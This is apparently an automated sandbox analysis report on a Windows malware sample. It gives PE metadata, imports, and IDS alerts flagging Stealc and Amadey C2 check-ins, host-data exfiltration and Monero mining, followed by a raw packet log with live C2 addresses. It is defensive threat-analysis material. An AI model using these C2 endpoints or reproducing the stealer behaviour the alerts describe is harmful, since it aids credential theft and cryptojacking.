IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x33300	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x31000	0x1ac	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2f4a3	0x2f600	e897bb8b0fe6ed91bd2ec2d4e5d331c6	False	0.6582185850923483	data	6.4621846661743145	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x31000	0x3624	0x3800	14181f2d13a1893238559dcb343e8a2a	False	0.34102957589285715	data	4.847331644215366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35000	0x2020bf0	0xba00	e301f410f46e37cb7e23840e32a6f153	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2056000	0x8340	0x8400	d4f9c029ea29cbe4c56c60cb87683366	False	0.3222064393939394	data	4.1134348720672635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x20595c8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x20596f8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x20597d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x205a678	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x205af20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x205b4b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x205c360	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x205cc08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x2056480	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5282258064516129
RT_ICON	0x2056480	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5282258064516129
RT_ICON	0x2056b48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4121369294605809
RT_ICON	0x2056b48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4121369294605809
RT_ICON	0x20590f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44769503546099293
RT_ICON	0x20590f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44769503546099293
RT_STRING	0x205d430	0x452	data	Tamil	India	0.45479204339963836
RT_STRING	0x205d430	0x452	data	Tamil	Sri Lanka	0.45479204339963836
RT_STRING	0x205d888	0x28e	data	Tamil	India	0.481651376146789
RT_STRING	0x205d888	0x28e	data	Tamil	Sri Lanka	0.481651376146789
RT_STRING	0x205db18	0x826	data	Tamil	India	0.41850431447746883
RT_STRING	0x205db18	0x826	data	Tamil	Sri Lanka	0.41850431447746883
RT_ACCELERATOR	0x2059588	0x40	data	Tamil	India	0.875
RT_ACCELERATOR	0x2059588	0x40	data	Tamil	Sri Lanka	0.875
RT_GROUP_CURSOR	0x20597a8	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x205b488	0x30	data			0.9166666666666666
RT_GROUP_CURSOR	0x205d170	0x30	data			0.9375
RT_GROUP_ICON	0x2059558	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0x2059558	0x30	data	Tamil	Sri Lanka	0.9375
RT_VERSION	0x205d1a0	0x290	MS Windows COFF PA-RISC object file			0.5137195121951219

Imports

DLL	Import
KERNEL32.dll	SetEndOfFile, LocalCompact, GlobalLock, CreateHardLinkA, GetModuleHandleW, CreateNamedPipeW, GetProcessHeap, GetConsoleCP, GlobalAlloc, GetSystemDirectoryW, LoadLibraryW, IsProcessInJob, AssignProcessToJobObject, CreateEventA, CreateJobObjectA, GetConsoleAliasesW, GetLastError, SetLastError, GetProcAddress, PeekConsoleInputW, EnumDateFormatsExA, VerLanguageNameW, LoadLibraryA, IsBadHugeReadPtr, SetConsoleCtrlHandler, AddAtomW, HeapWalk, EnumResourceTypesW, SetEnvironmentVariableA, GetModuleFileNameA, GetOEMCP, EnumResourceNamesA, GetFileTime, FatalAppExitA, SetProcessShutdownParameters, SetFileShortNameA, GetDiskFreeSpaceExA, LCMapStringW, CreateFileW, CloseHandle, WriteConsoleW, FlushFileBuffers, HeapReAlloc, FindFirstVolumeMountPointW, CreateFileA, HeapFree, HeapAlloc, GetCommandLineA, HeapSetInformation, GetStartupInfoW, RaiseException, IsProcessorFeaturePresent, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, IsValidCodePage, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, DecodePointer, TlsFree, GetCurrentThreadId, HeapCreate, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, ExitProcess, WriteFile, GetModuleFileNameW, ReadFile, MultiByteToWideChar, SetFilePointer, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetStringTypeW, Sleep, GetConsoleMode, RtlUnwind, SetStdHandle, HeapSize
USER32.dll	CharUpperBuffW, GetMessageExtraInfo, DrawStateW, SetMenu, GetSysColorBrush, SetCaretPos, SetClipboardViewer
ADVAPI32.dll	RegSetValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-24T02:38:59.258940+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49730	80	192.168.2.4	85.28.47.31
2024-07-24T02:40:07.827947+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49867	77.91.77.82	192.168.2.4
2024-07-24T02:40:33.537029+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49918	80	192.168.2.4	85.28.47.31
2024-07-24T02:41:29.770537+0200	UDP	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	61371	53	192.168.2.4	1.1.1.1
2024-07-24T02:40:58.503064+0200	UDP	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	63875	53	192.168.2.4	1.1.1.1
2024-07-24T02:40:11.168242+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49872	80	192.168.2.4	77.91.77.82
2024-07-24T02:40:12.225541+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49874	80	192.168.2.4	85.28.47.31
2024-07-24T02:40:07.576451+0200	TCP	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	49869	80	192.168.2.4	77.91.77.81
2024-07-24T02:40:17.683005+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49866	77.91.77.81	192.168.2.4
2024-07-24T02:38:50.945968+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49940	3333	192.168.2.4	141.94.96.71
2024-07-24T02:38:58.407722+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49730	80	192.168.2.4	85.28.47.31
2024-07-24T02:40:08.565249+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49870	80	192.168.2.4	77.91.77.82
2024-07-24T02:40:25.397871+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49903	80	192.168.2.4	85.28.47.31
2024-07-24T02:39:13.033688+0200	TCP	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	49731	80	192.168.2.4	77.91.77.81
2024-07-24T02:38:58.193741+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49730	80	192.168.2.4	85.28.47.31
2024-07-24T02:40:05.931072+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49866	80	192.168.2.4	77.91.77.81
2024-07-24T02:40:18.440195+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49884	80	192.168.2.4	77.91.77.81
2024-07-24T02:41:11.117701+0200	UDP	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	55650	53	192.168.2.4	1.1.1.1
2024-07-24T02:38:58.005654+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49730	80	192.168.2.4	85.28.47.31
2024-07-24T02:40:43.464253+0200	UDP	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	62761	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 24, 2024 02:38:50.945967913 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 24, 2024 02:38:57.080192089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:57.085494995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:57.085617065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:57.085808992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:57.090612888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:57.730248928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:57.730477095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:57.732848883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:57.738540888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.005165100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.005654097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.007014036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.012672901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.193200111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.193255901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.193741083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.195132971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.200257063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407629013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407684088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407721996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.407742977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407774925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407790899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.407790899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.407809019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407819033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.407843113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.407871008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.407890081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.409337044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.414324045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.607764006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.607985973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.633375883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.633429050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:58.638432026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638463974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638577938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638605118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638664961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638690948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638716936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:58.638744116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.258794069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.258939981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.482996941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.488394022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666393995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666444063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666464090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666481972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666496992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666513920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666531086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.666819096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.667082071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.667136908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.667171955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.667205095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.667239904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.667577028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.667577028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.667974949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.668023109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.668162107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.668162107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.749048948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749116898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749150038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749181032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749217987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749249935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749283075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749316931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749351025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.749347925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.749349117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.749433041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.749433041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.761610985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761674881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761693001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761708021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761724949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761740923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761775970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761806965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761840105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761871099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.761907101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.762027979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.762028933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.762650967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.762696981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.762732983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.762767076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.762801886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.762886047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.762887001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.762887001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.762887001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.762887001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.831898928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.831989050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.832029104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.832061052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.832096100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.832214117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.832214117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.837601900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.837631941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.837663889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.837697029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.837698936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.837723017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.837729931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.837742090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.837773085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.843390942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.843504906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845057011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845141888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845177889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845231056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845231056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845231056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845283985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845319033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845338106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845354080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845371962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845387936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845403910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845453024 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845462084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845518112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845524073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845558882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845586061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845592022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845606089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845626116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845649004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845659018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845671892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845693111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845719099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845726013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845738888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845777988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845891953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845921993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.845946074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.845963001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.855628014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.855746984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.855782032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.855808973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.855809927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.855842113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.855854988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.855875015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.855886936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.855909109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.855917931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.855950117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856066942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856129885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856162071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856255054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856468916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856524944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856532097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856561899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856594086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856609106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856744051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856797934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856807947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856841087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856856108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856873989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856889963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856921911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.856936932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856972933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.856987953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857023001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857664108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.857721090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857728004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.857762098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.857779026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857805014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857836962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.857868910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.857894897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857902050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.857911110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.857949018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.913615942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.913656950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.913687944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.913726091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.913737059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.913759947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.913769007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.913794041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.913805008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.913827896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.913836002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.913875103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.925817013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.925875902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.925884962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.925920010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.925950050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:38:59.925982952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:38:59.925983906 CEST	49730	80	192.168.2.4	85.28.47.31
